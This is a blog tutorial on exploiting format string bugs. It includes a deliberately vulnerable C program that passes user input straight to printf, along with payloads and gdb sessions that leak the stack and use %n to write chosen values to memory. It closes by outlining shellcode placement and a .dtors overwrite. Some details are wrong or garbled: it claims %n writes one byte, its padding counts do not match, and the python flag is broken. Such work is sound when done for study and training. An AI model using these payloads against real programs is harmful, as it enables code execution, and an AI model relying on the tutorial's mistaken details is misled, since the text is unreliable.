본문 바로가기

Security/System Hacking

[System Hacking] 2. Basic Format String Bug

Basic Format String Bug

This time, i gonna introduce about FSB(Format String Bug) exploit technique.


Before i introduce about a technique, let's see what kind of format strings are there.

There are lots of format strings but let's see just 2 format strings what we mainly need.

1
2
3
format string  Value                          Output
     %n        number of bytes written so far writes the number of bytes till the format string to memory
     %x        hexadecimal                    hexadecimal number
cs

When we print something to screen, we just use 'printf-type' functions like below.

1
2
3
4
5
6
7
8
#include <stdio.h>
 
int main(void) {
    char buf[] = "AAAA%x%x%x%x";
 
    printf("%s\n", buf);
    printf(buf);
}
cs
1
2
3
zero@ubuntu:~/Desktop/pwn/FSB$ ./fsb0
AAAA%x%x%x%x
AAAA96499010367b2760364e6cd096499000
cs

First one's result is as we intended but second isn't. Because in second 'printf', there are no corresponding variable and values on stack. So it just pops values off the stack. This bug is called FSB(Format String Bug).

With these bugs, we could write arbitrary data to arbitrary area. Of course arbitrary area could be in conditions.. anyway.


let's see the example.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <string.h>
 
#define size 128
 
int main(int argc, char *argv[]) {
    char buf[size= {0, };
 
    if(argc != 2) {
        printf("Usage : %s [string]\n", argv[0]);
        return 0;
    }
 
    else {
        strncpy(buf, argv[1], size);
        printf(buf);
    }
 
    return 1;
}
cs

There is a code that has FSB at line 14.

If we input like below, we could see like that...

1
2
zero@ubuntu:~/Desktop/pwn/FSB$ ./fsb1-x86 $(python -'print "AAAA" + "%x."*10')
AAAAffb402f0.80.8048437.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
cs

Look at the outputs. we can find '41414141' popped off the stack. Means, the 'prepended string' is written on the stack.

Additionally, we could see '41414141' right away by input like this.

1
2
zero@ubuntu:~/Desktop/pwn/FSB$ ./fsb1-x86 $(python -'print "AAAA" + "%4$x"')
AAAA41414141
cs

Because '41414141' is at 4th.


Now, we gonna try to write value(0xdeadbeef) to 'bss' area with %n format string.

We've already checked 'AAAA' is at 4th. Then how to write arbitrary value to .bss address.

First, we need to use %n format string to fill specific address's value with its length value.

Let's see with example.

1
2
3
4
5
6
7
8
gdb-peda$ r $(python -'print "\x84\x97\x04\x08" + "%x"*3 + "%n"')
Starting program: /home/zero/Desktop/pwn/FSB/fsb1-x86 $(python -'print "\x84\x97\x04\x08" + "%x"*3 + "%n"')
 
gdb-peda$ x/10xw 0x08049784
0x8049784:  0x00000015  0x00000000  0x00000000  0x00000000
0x8049794:  0x00000000  0x00000000  0x00000000  0x00000000
0x80497a4:  0x00000000  0x00000000
gdb-peda$
cs

I changed 4th %x to %n for writing the length to 'pointing address'(0x08049784)(=.bss+4).

Result is 0x15 bytes is written. Theoretically,there must be 7(3+4), but 0x15(21). Why?

Because that output(0x15) is as the least significant byte.

We need more bytes to make that value to 0xef.

1
2
gdb-peda$ print 0xef - 0x15
$1 = 0xda
cs

We can lengthen the length by doing this. %218x

1
2
3
4
5
6
7
gdb-peda$ r $(python -'print "\x84\x97\x04\x08" + "%x%x" + "%225x" + "%n"')
Starting program: /home/zero/Desktop/pwn/FSB/fsb1-x86 $(python -'print "\x84\x97\x04\x08" + "%x%x" + "%225x" + "%n"')
 
gdb-peda$ x/10xw 0x08049784
0x8049784:  0x000000ef  0x00000000  0x00000000  0x00000000
0x8049794:  0x00000000  0x00000000  0x00000000  0x00000000
0x80497a4:  0x00000000  0x00000000
cs

Success! Like kind of this process, we can write byte to arbitrary address(in conditions).

Let's finish this stuff!

1
2
3
4
5
6
7
8
9
gdb-peda$ r $(python -'print "\x84\x97\x04\x08" + "AAAA" +
 "\x85\x97\x04\x08" + "BBBB" + "\x86\x97\x04\x08" + "CCCC" +
 "\x87\x97\x04\x08" + "DDDD" + "%x%x" + "%197x" + "%n" +
 "%207x" + "%n" + "%239x" + "%n" + "%49x" + "%n"')
 
gdb-peda$ x/10xw 0x08049784
0x8049784:  0xdeadbeef  0x00000002  0x00000000  0x00000000
0x8049794:  0x00000000  0x00000000  0x00000000  0x00000000
0x80497a4:  0x00000000  0x00000000
cs

Success! Now 0x08049784 has 0xdeadbeef.


And how about real exploit?

Exploit is also similar. input shellcode somewhere has X perm. get that space's address and overwrite .dtors or somewhere address like above progress.


But there are a few things u need to care about and better way to use %n.

First, u can also use %hn instead of %n. %hn is for 2 bytes. %n is for 1 byte. That's all.

Second, When u calculate string's length, there are the cases that length is above 256 or 65535. Then u need to sub 256 or 65536 because if u use that value with ignorance, it doesn't affect current value but next value.